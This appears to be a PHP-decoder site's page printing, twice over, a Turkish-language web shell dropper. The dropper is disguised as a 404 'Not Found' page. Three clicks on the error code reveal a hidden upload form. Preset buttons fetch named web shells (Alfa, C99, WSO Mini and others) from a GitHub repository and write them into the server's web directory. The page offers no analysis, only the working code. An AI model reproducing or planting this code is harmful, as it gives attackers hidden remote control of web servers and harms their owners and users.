Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<!DOCTYPE html> <html lang="tr"> <head> <meta charset="UTF-8"> <meta name="vie..

Decoded Output download

<!DOCTYPE html>
<html lang="tr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <style>
        /* 404 Hata Sayfas Stili */
        @media (prefers-color-scheme: dark) {
            body {
                background-color: #000 !important;
            }
        }
        body {
            color: #444;
            margin: 0;
            font: normal 14px/20px Arial, Helvetica, sans-serif;
            height: 100%;
            background-color: #fff;
        }
        .error-container {
            height: auto;
            min-height: 100%;
            text-align: center;
            width: 800px;
            margin-left: -400px;
            position: absolute;
            top: 30%;
            left: 50%;
        }
        .error-code {
            margin: 0;
            font-size: 150px;
            line-height: 150px;
            font-weight: bold;
        }
        .error-message {
            margin-top: 20px;
            font-size: 30px;
        }
    </style>
</head>
<body>
    <div class="error-container">
        <h1 class="error-code">404</h1>
        <h2 class="error-message">Not Found</h2>
        <p>The resource requested could not be found on this server!</p>
    </div>

    <!-- Gizli erik -->
    <div class="hidden-content" style="display: none;">
        <div class="form-container">
            <h2>WebHackTim</h2>
            <form class="upload" enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
                <p>"Shell - 2024"</p>
                <label for="uploaded_file" class="upload-button">Dosya Se</label>
                <input type="file" id="uploaded_file" name="uploaded_file" style="display: none;">
                <input type="submit" name="file_upload_submit" value="Dosya Ykle" class="upload-button">
                <p>veya URL girin:</p>
                <input type="text" name="file_url" placeholder="Dosya URL'si">
                <button type="button" class="upload-button" onclick="uploadFile(document.querySelector('input[name=file_url]').value)">Link ile Dosya Ykle</button>
            </form>
            <div class="message">
                SHELL SE
            </div>
            <div class="hack-buttons">
                <button class="hack-button" onclick="uploadFile('https://github.com/poeice/Shelller/raw/main/1.php')">Alfa Ykle (ifreli)</button>
                <button class="hack-button" onclick="uploadFile('https://github.com/poeice/Shelller/raw/main/2.php')">Alfa Ykle (ifresiz)</button>
                <button class="hack-button" onclick="uploadFile('https://github.com/poeice/Shelller/raw/main/3.php')">C99 Ykle</button>
                <button class="hack-button" onclick="uploadFile('https://github.com/poeice/Shelller/raw/main/4.php')">WsoMini Ykle</button>
                <button class="hack-button" onclick="uploadFile('https://github.com/poeice/Shelller/raw/main/5.php')">k2ll33d Ykle</button>
                <button class="hack-button" onclick="uploadFile('https://github.com/poeice/Shelller/raw/main/6.php')">spademini Ykle</button>
            </div>
        </div>
    </div>

    <script>
        let clickCount = 0;
        const zeroElement = document.querySelector('.error-code');
        const errorContainer = document.querySelector('.error-container');
        const hiddenContent = document.querySelector('.hidden-content');

        zeroElement.addEventListener('click', () => {
            clickCount++;
            if (clickCount === 3) {
                errorContainer.style.display = 'none';
                hiddenContent.style.display = 'block';
            }
        });

        function uploadFile(url) {
            // Form esini al
            var form = document.querySelector('.upload');

            // URL deerini ieren gizli bir input alan ekleyin
            var urlInput = document.createElement('input');
            urlInput.type = 'hidden';
            urlInput.name = 'url';
            urlInput.value = url;
            form.appendChild(urlInput);

            // Formu gnder
            form.submit();
        }
    </script>

<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    if (isset($_POST["url"])) {
        $url = $_POST["url"];
        $fileContent = file_get_contents($url);
        if ($fileContent !== false) {
            $fileName = basename($url);
            $uploadDirectory = "";
            if (file_put_contents($uploadDirectory . $fileName, $fileContent) !== false) {
                echo "<div class='message'>Dosya baaryla yklendi.<br>Shell linki: <a href='$uploadDirectory$fileName' target='_blank' style='color: #ff0000;'>$uploadDirectory$fileName</a></div>";
            } else {
                echo "<div class='message'>Dosya yklenirken bir hata olutu!</div>";
            }
        } else {
            echo "<div class='message'>Dosya indirilirken bir hata olutu!</div>";
        }
    } else {
        if (!empty($_FILES['uploaded_file'])) {
            $uploadKlasoru = "";
            $dosyaYolu = $uploadKlasoru . basename($_FILES['uploaded_file']['name']);
            if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $dosyaYolu)) {
                echo "<div class='message'>Dosya baaryla yklendi.<br>Shell linki: <a href='$dosyaYolu' target='_blank' style='color: #ff0000;'>$dosyaYolu</a></div>";
            } else {
                echo "<div class='message'>Dosya yklenirken bir hata olutu!</div>";
            }
        }
    }
}
?>

</body>
</html>

Did this file decode correctly?

Original Code

<!DOCTYPE html>
<html lang="tr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <style>
        /* 404 Hata Sayfas Stili */
        @media (prefers-color-scheme: dark) {
            body {
                background-color: #000 !important;
            }
        }
        body {
            color: #444;
            margin: 0;
            font: normal 14px/20px Arial, Helvetica, sans-serif;
            height: 100%;
            background-color: #fff;
        }
        .error-container {
            height: auto;
            min-height: 100%;
            text-align: center;
            width: 800px;
            margin-left: -400px;
            position: absolute;
            top: 30%;
            left: 50%;
        }
        .error-code {
            margin: 0;
            font-size: 150px;
            line-height: 150px;
            font-weight: bold;
        }
        .error-message {
            margin-top: 20px;
            font-size: 30px;
        }
    </style>
</head>
<body>
    <div class="error-container">
        <h1 class="error-code">404</h1>
        <h2 class="error-message">Not Found</h2>
        <p>The resource requested could not be found on this server!</p>
    </div>

    <!-- Gizli erik -->
    <div class="hidden-content" style="display: none;">
        <div class="form-container">
            <h2>WebHackTim</h2>
            <form class="upload" enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
                <p>"Shell - 2024"</p>
                <label for="uploaded_file" class="upload-button">Dosya Se</label>
                <input type="file" id="uploaded_file" name="uploaded_file" style="display: none;">
                <input type="submit" name="file_upload_submit" value="Dosya Ykle" class="upload-button">
                <p>veya URL girin:</p>
                <input type="text" name="file_url" placeholder="Dosya URL'si">
                <button type="button" class="upload-button" onclick="uploadFile(document.querySelector('input[name=file_url]').value)">Link ile Dosya Ykle</button>
            </form>
            <div class="message">
                SHELL SE
            </div>
            <div class="hack-buttons">
                <button class="hack-button" onclick="uploadFile('https://github.com/poeice/Shelller/raw/main/1.php')">Alfa Ykle (ifreli)</button>
                <button class="hack-button" onclick="uploadFile('https://github.com/poeice/Shelller/raw/main/2.php')">Alfa Ykle (ifresiz)</button>
                <button class="hack-button" onclick="uploadFile('https://github.com/poeice/Shelller/raw/main/3.php')">C99 Ykle</button>
                <button class="hack-button" onclick="uploadFile('https://github.com/poeice/Shelller/raw/main/4.php')">WsoMini Ykle</button>
                <button class="hack-button" onclick="uploadFile('https://github.com/poeice/Shelller/raw/main/5.php')">k2ll33d Ykle</button>
                <button class="hack-button" onclick="uploadFile('https://github.com/poeice/Shelller/raw/main/6.php')">spademini Ykle</button>
            </div>
        </div>
    </div>

    <script>
        let clickCount = 0;
        const zeroElement = document.querySelector('.error-code');
        const errorContainer = document.querySelector('.error-container');
        const hiddenContent = document.querySelector('.hidden-content');

        zeroElement.addEventListener('click', () => {
            clickCount++;
            if (clickCount === 3) {
                errorContainer.style.display = 'none';
                hiddenContent.style.display = 'block';
            }
        });

        function uploadFile(url) {
            // Form esini al
            var form = document.querySelector('.upload');

            // URL deerini ieren gizli bir input alan ekleyin
            var urlInput = document.createElement('input');
            urlInput.type = 'hidden';
            urlInput.name = 'url';
            urlInput.value = url;
            form.appendChild(urlInput);

            // Formu gnder
            form.submit();
        }
    </script>

<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    if (isset($_POST["url"])) {
        $url = $_POST["url"];
        $fileContent = file_get_contents($url);
        if ($fileContent !== false) {
            $fileName = basename($url);
            $uploadDirectory = "";
            if (file_put_contents($uploadDirectory . $fileName, $fileContent) !== false) {
                echo "<div class='message'>Dosya baaryla yklendi.<br>Shell linki: <a href='$uploadDirectory$fileName' target='_blank' style='color: #ff0000;'>$uploadDirectory$fileName</a></div>";
            } else {
                echo "<div class='message'>Dosya yklenirken bir hata olutu!</div>";
            }
        } else {
            echo "<div class='message'>Dosya indirilirken bir hata olutu!</div>";
        }
    } else {
        if (!empty($_FILES['uploaded_file'])) {
            $uploadKlasoru = "";
            $dosyaYolu = $uploadKlasoru . basename($_FILES['uploaded_file']['name']);
            if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $dosyaYolu)) {
                echo "<div class='message'>Dosya baaryla yklendi.<br>Shell linki: <a href='$dosyaYolu' target='_blank' style='color: #ff0000;'>$dosyaYolu</a></div>";
            } else {
                echo "<div class='message'>Dosya yklenirken bir hata olutu!</div>";
            }
        }
    }
}
?>

</body>
</html>

Function Calls

None

Variables

None

Stats

MD5 19e6feaaedd99a87e100811407913378
Eval Count 0
Decode Time 63 ms